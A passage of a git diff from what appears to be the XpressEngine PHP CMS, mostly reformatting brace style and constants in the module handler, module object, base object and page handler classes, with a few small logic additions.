$oDisplayHandler = new DisplayHandler(); + $oDisplayHandler->printContent($oModule); + } + + /** + * returns module's path + * @param string $module module name + * @return string path of the module + * */ + function getModulePath($module) + { + return sprintf('./modules/%s/', $module); + } + + /** + * It creates a module instance + * @param string $module module name + * @param string $type instance type, (e.g., view, controller, model) + * @param string $kind admin or svc + * @return ModuleObject module instance (if failed it returns null) + * @remarks if there exists a module instance created before, returns it. + * */ + function &getModuleInstance($module, $type = 'view', $kind = '') + { + + if(__DEBUG__ == 3) + { + $start_time = getMicroTime(); + } + + $parent_module = $module; + $kind = strtolower($kind); + $type = strtolower($type); + + $kinds = array('svc' => 1, 'admin' => 1); + if(!isset($kinds[$kind])) + { + $kind = 'svc'; + } + + $key = $module . '.' . ($kind != 'admin' ? '' : 'admin') . '.' . $type; + + if(is_array($GLOBALS['__MODULE_EXTEND__']) && array_key_exists($key, $GLOBALS['__MODULE_EXTEND__'])) + { + $module = $extend_module = $GLOBALS['__MODULE_EXTEND__'][$key]; + } + + // if there is no instance of the module in global variable, create a new one + if(!isset($GLOBALS['_loaded_module'][$module][$type][$kind])) + { + ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); + + if($extend_module && (!is_readable($high_class_file) || !is_readable($class_file))) { + $module = $parent_module; ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); - - if($extend_module && (!is_readable($high_class_file) || !is_readable($class_file))) - { - $module = $parent_module; - ModuleHandler::_getModuleFilePath($module, $type, $kind, $class_path, $high_class_file, $class_file, $instance_name); - } - - // Get base class name and load the file contains it - if(!class_exists($module)) { - $high_class_file = sprintf('%s%s%s.class.php', _XE_PATH_,$class_path, $module); - if(!file_exists($high_class_file)) return NULL; - require_once($high_class_file); - } - - // Get the name of the class file - if(!is_readable($class_file)) return NULL; - - // Create an instance with eval function - require_once($class_file); - if(!class_exists($instance_name)) return NULL; - $tmp_fn = create_function('', "return new {$instance_name}();"); - $oModule = $tmp_fn(); - if(!is_object($oModule)) return NULL; - - // Load language files for the class - Context::loadLang($class_path.'lang'); - if($extend_module) { - Context::loadLang(ModuleHandler::getModulePath($parent_module).'lang'); - } - - // Set variables to the instance - $oModule->setModule($module); - $oModule->setModulePath($class_path); - - // If the module has a constructor, run it. - if(!isset($GLOBALS['_called_constructor'][$instance_name])) { - $GLOBALS['_called_constructor'][$instance_name] = true; - if(@method_exists($oModule, $instance_name)) $oModule->{$instance_name}(); - } - - // Store the created instance into GLOBALS variable - $GLOBALS['_loaded_module'][$module][$type][$kind] = $oModule; - } - - if(__DEBUG__==3) $GLOBALS['__elapsed_class_load__'] += getMicroTime() - $start_time; - - // return the instance - return $GLOBALS['_loaded_module'][$module][$type][$kind]; - } - - function _getModuleFilePath($module, $type, $kind, &$classPath, &$highClassFile, &$classFile, &$instanceName) - { - $classPath = ModuleHandler::getModulePath($module); - - $highClassFile = sprintf('%s%s%s.class.php', _XE_PATH_,$classPath, $module); - $highClassFile = FileHandler::getRealPath($highClassFile); - - $types = explode(' ', 'view controller model api wap mobile class'); - if(!in_array($type, $types)) $type = $types[0]; - if($type == 'class') { - $instanceName = '%s'; - $classFile = '%s%s.%s.php'; - } elseif($kind == 'admin' && array_search($type, $types) < 3) { - $instanceName = '%sAdmin%s'; - $classFile = '%s%s.admin.%s.php'; - } else{ - $instanceName = '%s%s'; - $classFile = '%s%s.%s.php'; } - $instanceName = sprintf($instanceName, $module, ucfirst($type)); - $classFile = sprintf($classFile, $classPath, $module, $type); - $classFile = FileHandler::getRealPath($classFile); + // Get base class name and load the file contains it + if(!class_exists($module)) + { + $high_class_file = sprintf('%s%s%s.class.php', _XE_PATH_, $class_path, $module); + if(!file_exists($high_class_file)) + { + return NULL; + } + require_once($high_class_file); + } + + // Get the name of the class file + if(!is_readable($class_file)) + { + return NULL; + } + + // Create an instance with eval function + require_once($class_file); + if(!class_exists($instance_name)) + { + return NULL; + } + $tmp_fn = create_function('', "return new {$instance_name}();"); + $oModule = $tmp_fn(); + if(!is_object($oModule)) + { + return NULL; + } + + // Load language files for the class + Context::loadLang($class_path . 'lang'); + if($extend_module) + { + Context::loadLang(ModuleHandler::getModulePath($parent_module) . 'lang'); + } + + // Set variables to the instance + $oModule->setModule($module); + $oModule->setModulePath($class_path); + + // If the module has a constructor, run it. + if(!isset($GLOBALS['_called_constructor'][$instance_name])) + { + $GLOBALS['_called_constructor'][$instance_name] = TRUE; + if(@method_exists($oModule, $instance_name)) + { + $oModule->{$instance_name}(); + } + } + + // Store the created instance into GLOBALS variable + $GLOBALS['_loaded_module'][$module][$type][$kind] = $oModule; } - /** - * call a trigger - * @param string $trigger_name trigger's name to call - * @param string $called_position called position - * @param object $obj an object as a parameter to trigger - * @return Object - **/ - function triggerCall($trigger_name, $called_position, &$obj) { - // skip if not installed - if(!Context::isInstalled()) return new Object(); - - $oModuleModel = &getModel('module'); - $triggers = $oModuleModel->getTriggers($trigger_name, $called_position); - if(!$triggers || !count($triggers)) return new Object(); - - foreach($triggers as $item) { - $module = $item->module; - $type = $item->type; - $called_method = $item->called_method; - - $oModule = null; - $oModule = &getModule($module, $type); - if(!$oModule || !method_exists($oModule, $called_method)) continue; - - $output = $oModule->{$called_method}($obj); - if(is_object($output) && method_exists($output, 'toBool') && !$output->toBool()) return $output; - unset($oModule); - } - - return new Object(); - } - - /** - * get http status message by http status code - * @param string $code - * @return string - **/ - function _setHttpStatusMessage($code) { - $statusMessageList = array( - '100'=>'Continue', - '101'=>'Switching Protocols', - '201'=>'OK', - '201'=>'Created', - '202'=>'Accepted', - '203'=>'Non-Authoritative Information', - '204'=>'No Content', - '205'=>'Reset Content', - '206'=>'Partial Content', - '300'=>'Multiple Choices', - '301'=>'Moved Permanently', - '302'=>'Found', - '303'=>'See Other', - '304'=>'Not Modified', - '305'=>'Use Proxy', - '307'=>'Temporary Redirect', - '400'=>'Bad Request', - '401'=>'Unauthorized', - '402'=>'Payment Required', - '403'=>'Forbidden', - '404'=>'Not Found', - '405'=>'Method Not Allowed', - '406'=>'Not Acceptable', - '407'=>'Proxy Authentication Required', - '408'=>'Request Timeout', - '409'=>'Conflict', - '410'=>'Gone', - '411'=>'Length Required', - '412'=>'Precondition Failed', - '413'=>'Request Entity Too Large', - '414'=>'Request-URI Too Long', - '415'=>'Unsupported Media Type', - '416'=>'Requested Range Not Satisfiable', - '417'=>'Expectation Failed', - '500'=>'Internal Server Error', - '501'=>'Not Implemented', - '502'=>'Bad Gateway', - '503'=>'Service Unavailable', - '504'=>'Gateway Timeout', - '505'=>'HTTP Version Not Supported', - ); - $statusMessage = $statusMessageList[$code]; - if(!$statusMessage) $statusMessage = 'OK'; - - Context::set('http_status_code', $code); - Context::set('http_status_message', $statusMessage); + if(__DEBUG__ == 3) + { + $GLOBALS['__elapsed_class_load__'] += getMicroTime() - $start_time; } - } + + // return the instance + return $GLOBALS['_loaded_module'][$module][$type][$kind]; + } + + function _getModuleFilePath($module, $type, $kind, &$classPath, &$highClassFile, &$classFile, &$instanceName) + { + $classPath = ModuleHandler::getModulePath($module); + + $highClassFile = sprintf('%s%s%s.class.php', _XE_PATH_, $classPath, $module); + $highClassFile = FileHandler::getRealPath($highClassFile); + + $types = explode(' ', 'view controller model api wap mobile class'); + if(!in_array($type, $types)) + { + $type = $types[0]; + } + if($type == 'class') + { + $instanceName = '%s'; + $classFile = '%s%s.%s.php'; + } + elseif($kind == 'admin' && array_search($type, $types) < 3) + { + $instanceName = '%sAdmin%s'; + $classFile = '%s%s.admin.%s.php'; + } + else + { + $instanceName = '%s%s'; + $classFile = '%s%s.%s.php'; + } + + $instanceName = sprintf($instanceName, $module, ucfirst($type)); + $classFile = sprintf($classFile, $classPath, $module, $type); + $classFile = FileHandler::getRealPath($classFile); + } + + /** + * call a trigger + * @param string $trigger_name trigger's name to call + * @param string $called_position called position + * @param object $obj an object as a parameter to trigger + * @return Object + * */ + function triggerCall($trigger_name, $called_position, &$obj) + { + // skip if not installed + if(!Context::isInstalled()) + { + return new Object(); + } + + $oModuleModel = getModel('module'); + $triggers = $oModuleModel->getTriggers($trigger_name, $called_position); + if(!$triggers || !count($triggers)) + { + return new Object(); + } + + foreach($triggers as $item) + { + $module = $item->module; + $type = $item->type; + $called_method = $item->called_method; + + $oModule = NULL; + $oModule = getModule($module, $type); + if(!$oModule || !method_exists($oModule, $called_method)) + { + continue; + } + + $output = $oModule->{$called_method}($obj); + if(is_object($output) && method_exists($output, 'toBool') && !$output->toBool()) + { + return $output; + } + unset($oModule); + } + + return new Object(); + } + + /** + * get http status message by http status code + * @param string $code + * @return string + * */ + function _setHttpStatusMessage($code) + { + $statusMessageList = array( + '100' => 'Continue', + '101' => 'Switching Protocols', + '201' => 'OK', + '201' => 'Created', + '202' => 'Accepted', + '203' => 'Non-Authoritative Information', + '204' => 'No Content', + '205' => 'Reset Content', + '206' => 'Partial Content', + '300' => 'Multiple Choices', + '301' => 'Moved Permanently', + '302' => 'Found', + '303' => 'See Other', + '304' => 'Not Modified', + '305' => 'Use Proxy', + '307' => 'Temporary Redirect', + '400' => 'Bad Request', + '401' => 'Unauthorized', + '402' => 'Payment Required', + '403' => 'Forbidden', + '404' => 'Not Found', + '405' => 'Method Not Allowed', + '406' => 'Not Acceptable', + '407' => 'Proxy Authentication Required', + '408' => 'Request Timeout', + '409' => 'Conflict', + '410' => 'Gone', + '411' => 'Length Required', + '412' => 'Precondition Failed', + '413' => 'Request Entity Too Large', + '414' => 'Request-URI Too Long', + '415' => 'Unsupported Media Type', + '416' => 'Requested Range Not Satisfiable', + '417' => 'Expectation Failed', + '500' => 'Internal Server Error', + '501' => 'Not Implemented', + '502' => 'Bad Gateway', + '503' => 'Service Unavailable', + '504' => 'Gateway Timeout', + '505' => 'HTTP Version Not Supported', + ); + $statusMessage = $statusMessageList[$code]; + if(!$statusMessage) + { + $statusMessage = 'OK'; + } + + Context::set('http_status_code', $code); + Context::set('http_status_message', $statusMessage); + } + +} ?> diff --git a/classes/module/ModuleObject.class.php b/classes/module/ModuleObject.class.php index 6134e3072..4b88844c9 100644 --- a/classes/module/ModuleObject.class.php +++ b/classes/module/ModuleObject.class.php @@ -1,386 +1,480 @@ module = $module; + } - var $act = NULL; ///< a string value to contain the action name + /** + * setter to set the name of module path + * @param string $path the directory path to a module directory + * @return void + * */ + function setModulePath($path) + { + if(substr($path, -1) != '/') + { + $path.='/'; + } + $this->module_path = $path; + } - var $template_path = NULL; ///< a path of directory where template files reside - var $template_file = NULL; ///< name of template file + /** + * setter to set an url for redirection + * @param string $url url for redirection + * @remark redirect_url is used only for ajax requests + * @return void + * */ + function setRedirectUrl($url = './', $output = NULL) + { + $ajaxRequestMethod = array_flip($this->ajaxRequestMethod); + if(!isset($ajaxRequestMethod[Context::getRequestMethod()])) + { + $this->add('redirect_url', $url); + } - var $layout_path = ''; ///< a path of directory where layout files reside - var $layout_file = ''; ///< name of layout file - var $edited_layout_file = ''; ///< name of temporary layout files that is modified in an admin mode + if($output !== NULL && is_object($output)) + { + return $output; + } + } - var $stop_proc = false; ///< a flag to indicating whether to stop the execution of code. + /** + * get url for redirection + * @return string redirect_url + * */ + function getRedirectUrl() + { + return $this->get('redirect_url'); + } - var $module_config = NULL; - var $ajaxRequestMethod = array('XMLRPC', 'JSON'); + /** + * set message + * @param string $message a message string + * @param string $type type of message (error, info, update) + * @return void + * */ + function setMessage($message, $type = NULL) + { + parent::setMessage($message); + $this->setMessageType($type); + } - var $gzhandler_enable = TRUE; + /** + * set type of message + * @param string $type type of message (error, info, update) + * @return void + * */ + function setMessageType($type) + { + $this->add('message_type', $type); + } - /** - * setter to set the name of module - * @param string $module name of module - * @return void - **/ - function setModule($module) { - $this->module = $module; - } + /** + * get type of message + * @return string $type + * */ + function getMessageType() + { + $type = $this->get('message_type'); + $typeList = array('error' => 1, 'info' => 1, 'update' => 1); + if(!isset($typeList[$type])) + { + $type = $this->getError() ? 'error' : 'info'; + } + return $type; + } - /** - * setter to set the name of module path - * @param string $path the directory path to a module directory - * @return void - **/ - function setModulePath($path) { - if(substr($path,-1)!='/') $path.='/'; - $this->module_path = $path; - } + /** + * sett to set the template path for refresh.html + * refresh.html is executed as a result of method execution + * Tpl as the common run of the refresh.html .. + * @return void + * */ + function setRefreshPage() + { + $this->setTemplatePath('./common/tpl'); + $this->setTemplateFile('refresh'); + } - /** - * setter to set an url for redirection - * @param string $url url for redirection - * @remark redirect_url is used only for ajax requests - * @return void - **/ - function setRedirectUrl($url='./', $output = NULL) { - $ajaxRequestMethod = array_flip($this->ajaxRequestMethod); - if(!isset($ajaxRequestMethod[Context::getRequestMethod()])) + /** + * sett to set the action name + * @param string $act + * @return void + * */ + function setAct($act) + { + $this->act = $act; + } + + /** + * sett to set module information + * @param object $module_info object containing module information + * @param object $xml_info object containing module description + * @return void + * */ + function setModuleInfo($module_info, $xml_info) + { + // The default variable settings + $this->mid = $module_info->mid; + $this->module_srl = $module_info->module_srl; + $this->module_info = $module_info; + $this->origin_module_info = $module_info; + $this->xml_info = $xml_info; + $this->skin_vars = $module_info->skin_vars; + // validate certificate info and permission settings necessary in Web-services + $is_logged = Context::get('is_logged'); + $logged_info = Context::get('logged_info'); + // module model create an object + $oModuleModel = getModel('module'); + // permission settings. access, manager(== is_admin) are fixed and privilege name in XE + $module_srl = Context::get('module_srl'); + if(!$module_info->mid && !is_array($module_srl) && preg_match('/^([0-9]+)$/', $module_srl)) + { + $request_module = $oModuleModel->getModuleInfoByModuleSrl($module_srl); + if($request_module->module_srl == $module_srl) { - $this->add('redirect_url', $url); + $grant = $oModuleModel->getGrant($request_module, $logged_info); } - - if($output !== NULL && is_object($output)) + } + else + { + $grant = $oModuleModel->getGrant($module_info, $logged_info, $xml_info); + // have at least access grant + if(substr_count($this->act, 'Member') || substr_count($this->act, 'Communication')) { - return $output; + $grant->access = 1; } - } - - /** - * get url for redirection - * @return string redirect_url - **/ - function getRedirectUrl(){ - return $this->get('redirect_url'); } - - /** - * set message - * @param string $message a message string - * @param string $type type of message (error, info, update) - * @return void - **/ - function setMessage($message, $type = null){ - parent::setMessage($message); - $this->setMessageType($type); - } - - /** - * set type of message - * @param string $type type of message (error, info, update) - * @return void - **/ - function setMessageType($type){ - $this->add('message_type', $type); - } - - /** - * get type of message - * @return string $type - **/ - function getMessageType(){ - $type = $this->get('message_type'); - $typeList = array('error'=>1, 'info'=>1, 'update'=>1); - if (!isset($typeList[$type])){ - $type = $this->getError()?'error':'info'; + // display no permission if the current module doesn't have an access privilege + //if(!$grant->access) return $this->stop("msg_not_permitted"); + // checks permission and action if you don't have an admin privilege + if(!$grant->manager) + { + // get permission types(guest, member, manager, root) of the currently requested action + $permission_target = $xml_info->permission->{$this->act}; + // check manager if a permission in module.xml otherwise action if no permission + if(!$permission_target && substr_count($this->act, 'Admin')) + { + $permission_target = 'manager'; } - return $type; - } - - /** - * sett to set the template path for refresh.html - * refresh.html is executed as a result of method execution - * Tpl as the common run of the refresh.html .. - * @return void - **/ - function setRefreshPage() { - $this->setTemplatePath('./common/tpl'); - $this->setTemplateFile('refresh'); - } - - - /** - * sett to set the action name - * @param string $act - * @return void - **/ - function setAct($act) { - $this->act = $act; - } - - /** - * sett to set module information - * @param object $module_info object containing module information - * @param object $xml_info object containing module description - * @return void - **/ - function setModuleInfo($module_info, $xml_info) { - // The default variable settings - $this->mid = $module_info->mid; - $this->module_srl = $module_info->module_srl; - $this->module_info = $module_info; - $this->origin_module_info = $module_info; - $this->xml_info = $xml_info; - $this->skin_vars = $module_info->skin_vars; - // validate certificate info and permission settings necessary in Web-services - $is_logged = Context::get('is_logged'); - $logged_info = Context::get('logged_info'); - // module model create an object - $oModuleModel = &getModel('module'); - // permission settings. access, manager(== is_admin) are fixed and privilege name in XE - $module_srl = Context::get('module_srl'); - if(!$module_info->mid && !is_array($module_srl) && preg_match('/^([0-9]+)$/',$module_srl)) { - $request_module = $oModuleModel->getModuleInfoByModuleSrl($module_srl); - if($request_module->module_srl == $module_srl) { - $grant = $oModuleModel->getGrant($request_module, $logged_info); - } - } else { - $grant = $oModuleModel->getGrant($module_info, $logged_info, $xml_info); - // have at least access grant - if( substr_count($this->act, 'Member') || substr_count($this->act, 'Communication')) - $grant->access = 1; - } - // display no permission if the current module doesn't have an access privilege - //if(!$grant->access) return $this->stop("msg_not_permitted"); - // checks permission and action if you don't have an admin privilege - if(!$grant->manager) { - // get permission types(guest, member, manager, root) of the currently requested action - $permission_target = $xml_info->permission->{$this->act}; - // check manager if a permission in module.xml otherwise action if no permission - if(!$permission_target && substr_count($this->act, 'Admin')) $permission_target = 'manager'; - // Check permissions - switch($permission_target) { - case 'root' : - case 'manager' : - $this->stop('msg_is_not_administrator'); + // Check permissions + switch($permission_target) + { + case 'root' : + case 'manager' : + $this->stop('msg_is_not_administrator'); + return; + case 'member' : + if(!$is_logged) + { + $this->stop('msg_not_permitted_act'); return; - case 'member' : - if(!$is_logged) - { - $this->stop('msg_not_permitted_act'); - return; - } - break; - } - } - // permission variable settings - $this->grant = $grant; + } + break; + } + } + // permission variable settings + $this->grant = $grant; - Context::set('grant', $grant); + Context::set('grant', $grant); - $this->module_config = $oModuleModel->getModuleConfig($this->module, $module_info->site_srl); + $this->module_config = $oModuleModel->getModuleConfig($this->module, $module_info->site_srl); - if(method_exists($this, 'init')) $this->init(); - } + if(method_exists($this, 'init')) + { + $this->init(); + } + } - /** - * set the stop_proc and approprate message for msg_code - * @param string $msg_code an error code - * @return ModuleObject $this - **/ - function stop($msg_code) { - // flag setting to stop the proc processing - $this->stop_proc = true; - // Error handling - $this->setError(-1); - $this->setMessage($msg_code); - // Error message display by message module - $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; - $oMessageObject = &ModuleHandler::getModuleInstance('message',$type); - $oMessageObject->setError(-1); - $oMessageObject->setMessage($msg_code); - $oMessageObject->dispMessage(); + /** + * set the stop_proc and approprate message for msg_code + * @param string $msg_code an error code + * @return ModuleObject $this + * */ + function stop($msg_code) + { + // flag setting to stop the proc processing + $this->stop_proc = TRUE; + // Error handling + $this->setError(-1); + $this->setMessage($msg_code); + // Error message display by message module + $type = Mobile::isFromMobilePhone() ? 'mobile' : 'view'; + $oMessageObject = ModuleHandler::getModuleInstance('message', $type); + $oMessageObject->setError(-1); + $oMessageObject->setMessage($msg_code); + $oMessageObject->dispMessage(); - $this->setTemplatePath($oMessageObject->getTemplatePath()); - $this->setTemplateFile($oMessageObject->getTemplateFile()); + $this->setTemplatePath($oMessageObject->getTemplatePath()); + $this->setTemplateFile($oMessageObject->getTemplateFile()); - return $this; - } + return $this; + } - /** - * set the file name of the template file - * @param string name of file - * @return void - **/ - function setTemplateFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->template_file = $filename; - } + /** + * set the file name of the template file + * @param string name of file + * @return void + * */ + function setTemplateFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->template_file = $filename; + } - /** - * retrieve the directory path of the template directory - * @return string - **/ - function getTemplateFile() { - return $this->template_file; - } + /** + * retrieve the directory path of the template directory + * @return string + * */ + function getTemplateFile() + { + return $this->template_file; + } - /** - * set the directory path of the template directory - * @param string path of template directory. - * @return void - **/ - function setTemplatePath($path) { - if(substr($path,0,1)!='/' && substr($path,0,2)!='./') $path = './'.$path; - if(substr($path,-1)!='/') $path .= '/'; - $this->template_path = $path; - } + /** + * set the directory path of the template directory + * @param string path of template directory. + * @return void + * */ + function setTemplatePath($path) + { + if(substr($path, 0, 1) != '/' && substr($path, 0, 2) != './') + { + $path = './' . $path; + } + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $this->template_path = $path; + } - /** - * retrieve the directory path of the template directory - * @return string - **/ - function getTemplatePath() { - return $this->template_path; - } + /** + * retrieve the directory path of the template directory + * @return string + * */ + function getTemplatePath() + { + return $this->template_path; + } - /** - * set the file name of the temporarily modified by admin - * @param string name of file - * @return void - **/ - function setEditedLayoutFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->edited_layout_file = $filename; - } + /** + * set the file name of the temporarily modified by admin + * @param string name of file + * @return void + * */ + function setEditedLayoutFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->edited_layout_file = $filename; + } - /** - * retreived the file name of edited_layout_file - * @return string - **/ - function getEditedLayoutFile() { - return $this->edited_layout_file; - } + /** + * retreived the file name of edited_layout_file + * @return string + * */ + function getEditedLayoutFile() + { + return $this->edited_layout_file; + } - /** - * set the file name of the layout file - * @param string name of file - * @return void - **/ - function setLayoutFile($filename) { - if(substr($filename,-5)!='.html') $filename .= '.html'; - $this->layout_file = $filename; - } + /** + * set the file name of the layout file + * @param string name of file + * @return void + * */ + function setLayoutFile($filename) + { + if(substr($filename, -5) != '.html') + { + $filename .= '.html'; + } + $this->layout_file = $filename; + } - /** - * get the file name of the layout file - * @return string - **/ - function getLayoutFile() { - return $this->layout_file; - } + /** + * get the file name of the layout file + * @return string + * */ + function getLayoutFile() + { + return $this->layout_file; + } - /** - * set the directory path of the layout directory - * @param string path of layout directory. - **/ - function setLayoutPath($path) { - if(substr($path,0,1)!='/' && substr($path,0,2)!='./') $path = './'.$path; - if(substr($path,-1)!='/') $path .= '/'; - $this->layout_path = $path; - } + /** + * set the directory path of the layout directory + * @param string path of layout directory. + * */ + function setLayoutPath($path) + { + if(substr($path, 0, 1) != '/' && substr($path, 0, 2) != './') + { + $path = './' . $path; + } + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $this->layout_path = $path; + } - /** - * set the directory path of the layout directory - * @return string - **/ - function getLayoutPath() { - return $this->layout_path; - } + /** + * set the directory path of the layout directory + * @return string + * */ + function getLayoutPath() + { + return $this->layout_path; + } - /** - * excute the member method specified by $act variable - * @return boolean true : success false : fail - **/ - function proc() { - // pass if stop_proc is true - if($this->stop_proc) return false; + /** + * excute the member method specified by $act variable + * @return boolean true : success false : fail + * */ + function proc() + { + // pass if stop_proc is true + if($this->stop_proc) + { + return false; + } - // trigger call - $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'before', $this); - if(!$triggerOutput->toBool()) { - $this->setError($triggerOutput->getError()); - $this->setMessage($triggerOutput->getMessage()); - return false; - } + // trigger call + $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'before', $this); + if(!$triggerOutput->toBool()) + { + $this->setError($triggerOutput->getError()); + $this->setMessage($triggerOutput->getMessage()); + return false; + } - // execute an addon(call called_position as before_module_proc) - $called_position = 'before_module_proc'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); + // execute an addon(call called_position as before_module_proc) + $called_position = 'before_module_proc'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); - if(isset($this->xml_info->action->{$this->act}) && method_exists($this, $this->act)) { - // Check permissions - if($this->module_srl && !$this->grant->access){ - $this->stop("msg_not_permitted_act"); - return FALSE; + if(isset($this->xml_info->action->{$this->act}) && method_exists($this, $this->act)) + { + // Check permissions + if($this->module_srl && !$this->grant->access) + { + $this->stop("msg_not_permitted_act"); + return FALSE; + } + + // integrate skin information of the module(change to sync skin info with the target module only by seperating its table) + $is_default_skin = ((!Mobile::isFromMobilePhone() && $this->module_info->is_skin_fix == 'N') || (Mobile::isFromMobilePhone() && $this->module_info->is_mskin_fix == 'N')); + $usedSkinModule = !($this->module == 'page' && ($this->module_info->page_type == 'OUTSIDE' || $this->module_info->page_type == 'WIDGET')); + if($usedSkinModule && $is_default_skin && $this->module != 'admin' && strpos($this->act, 'Admin') === false && $this->module == $this->module_info->module) + { + $dir = (Mobile::isFromMobilePhone()) ? 'm.skins' : 'skins'; + $valueName = (Mobile::isFromMobilePhone()) ? 'mskin' : 'skin'; + $oModuleModel = getModel('module'); + $skinType = (Mobile::isFromMobilePhone()) ? 'M' : 'P'; + $skinName = $oModuleModel->getModuleDefaultSkin($this->module, $skinType); + if($this->module == 'page') + { + $this->module_info->{$valueName} = $skinName; } - // integrate skin information of the module(change to sync skin info with the target module only by seperating its table) - $oModuleModel = &getModel('module'); - $oModuleModel->syncSkinInfoToModuleInfo($this->module_info); - Context::set('module_info', $this->module_info); - // Run - $output = $this->{$this->act}(); - } - else { + else + { + $isTemplatPath = (strpos($this->getTemplatePath(), '/tpl/') !== FALSE); + if(!$isTemplatPath) + { + $this->setTemplatePath(sprintf('%s%s/%s/', $this->module_path, $dir, $skinName)); + } + } + } + + $oModuleModel = getModel('module'); + $oModuleModel->syncSkinInfoToModuleInfo($this->module_info); + Context::set('module_info', $this->module_info); + // Run + $output = $this->{$this->act}(); + } + else + { + return false; + } + + // trigger call + $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'after', $this); + if(!$triggerOutput->toBool()) + { + $this->setError($triggerOutput->getError()); + $this->setMessage($triggerOutput->getMessage()); + return false; + } + + // execute an addon(call called_position as after_module_proc) + $called_position = 'after_module_proc'; + $oAddonController = getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); + + if(is_a($output, 'Object') || is_subclass_of($output, 'Object')) + { + $this->setError($output->getError()); + $this->setMessage($output->getMessage()); + + if(!$output->toBool()) + { return false; } + } + // execute api methos of the module if view action is and result is XMLRPC or JSON + if($this->module_info->module_type == 'view') + { + if(Context::getResponseMethod() == 'XMLRPC' || Context::getResponseMethod() == 'JSON') + { + $oAPI = getAPI($this->module_info->module, 'api'); + if(method_exists($oAPI, $this->act)) + { + $oAPI->{$this->act}($this); + } + } + } + return true; + } - // trigger call - $triggerOutput = ModuleHandler::triggerCall('moduleObject.proc', 'after', $this); - if(!$triggerOutput->toBool()) { - $this->setError($triggerOutput->getError()); - $this->setMessage($triggerOutput->getMessage()); - return false; - } - - // execute an addon(call called_position as after_module_proc) - $called_position = 'after_module_proc'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); - - if(is_a($output, 'Object') || is_subclass_of($output, 'Object')) { - $this->setError($output->getError()); - $this->setMessage($output->getMessage()); - - if (!$output->toBool()) return false; - } - // execute api methos of the module if view action is and result is XMLRPC or JSON - if($this->module_info->module_type == 'view'){ - if(Context::getResponseMethod() == 'XMLRPC' || Context::getResponseMethod() == 'JSON') { - $oAPI = getAPI($this->module_info->module, 'api'); - if(method_exists($oAPI, $this->act)) { - $oAPI->{$this->act}($this); - } - } - } - return true; - } - } +} ?> diff --git a/classes/object/Object.class.php b/classes/object/Object.class.php index 96db11478..fe5a0c78b 100644 --- a/classes/object/Object.class.php +++ b/classes/object/Object.class.php @@ -1,11 +1,12 @@ setError($error); $this->setMessage($message); } - /** * Setter to set error code * * @param int $error error code * @return void */ - function setError($error = 0) { + function setError($error = 0) + { $this->error = $error; } @@ -60,7 +61,8 @@ class Object { * * @return int Returns an error code */ - function getError() { + function getError() + { return $this->error; } @@ -91,12 +93,14 @@ class Object { * @param string $message Error message * @return bool Alaways returns true. */ - function setMessage($message = 'success') { - if(Context::getLang($message)) $message = Context::getLang($message); + function setMessage($message = 'success') + { + if(Context::getLang($message)) + $message = Context::getLang($message); $this->message = $message; // TODO This method always returns True. We'd better remove it - return true; + return TRUE; } /** @@ -104,7 +108,8 @@ class Object { * * @return string Returns message */ - function getMessage() { + function getMessage() + { return $this->message; } @@ -115,7 +120,8 @@ class Object { * @param mixed $val A value for the variable * @return void */ - function add($key, $val) { + function add($key, $val) + { $this->variables[$key] = $val; } @@ -130,11 +136,14 @@ class Object { if(is_object($object)) { $object = get_object_vars($object); - } + } if(is_array($object)) { - foreach($object as $key => $val) $this->variables[$key] = $val; + foreach($object as $key => $val) + { + $this->variables[$key] = $val; + } } } @@ -144,20 +153,22 @@ class Object { * @param string $key * @return string Returns value to a given key */ - function get($key) { + function get($key) + { return $this->variables[$key]; } - /** * Method to retrieve an object containing a key/value paris * * @return Object Returns an object containing key/value pairs */ - function gets() { + function gets() + { $num_args = func_num_args(); $args_list = func_get_args(); - for($i=0;$i<$num_args;$i++) { + for($i = 0; $i < $num_args; $i++) + { $key = $args_list[$i]; $output->{$key} = $this->get($key); } @@ -169,7 +180,8 @@ class Object { * * @return array */ - function getVariables() { + function getVariables() + { return $this->variables; } @@ -178,8 +190,13 @@ class Object { * * @return Object */ - function getObjectVars() { - foreach($this->variables as $key => $val) $output->{$key} = $val; + function getObjectVars() + { + $output = new stdClass(); + foreach($this->variables as $key => $val) + { + $output->{$key} = $val; + } return $output; } @@ -188,21 +205,22 @@ class Object { * * @return bool Retruns true : error isn't 0 or false : otherwise. */ - function toBool() { + function toBool() + { // TODO This method is misleading in that it returns true if error is 0, which should be true in boolean representation. - return $this->error==0?true:false; + return $this->error == 0 ? TRUE : FALSE; } - /** * Method to return either true or false depnding on the value in a 'error' variable * * @return bool */ - function toBoolean() { - return $this->toBool(); + function toBoolean() + { + return $this->toBool(); } -} +} /* End of file Object.class.php */ /* Location: ./classes/object/Object.class.php */ diff --git a/classes/page/PageHandler.class.php b/classes/page/PageHandler.class.php index d598b708d..b7123e522 100644 --- a/classes/page/PageHandler.class.php +++ b/classes/page/PageHandler.class.php @@ -1,68 +1,92 @@ total_count = $total_count; - $this->total_page = $total_page; - $this->cur_page = $cur_page; - $this->page_count = $page_count; - $this->point = 0; + /** + * constructor + * @param int $total_count number of total items + * @param int $total_page number of total pages + * @param int $cur_page current page number + * @param int $page_count number of page links displayed at one time + * @return void + */ - $first_page = $cur_page - (int)($page_count/2); - 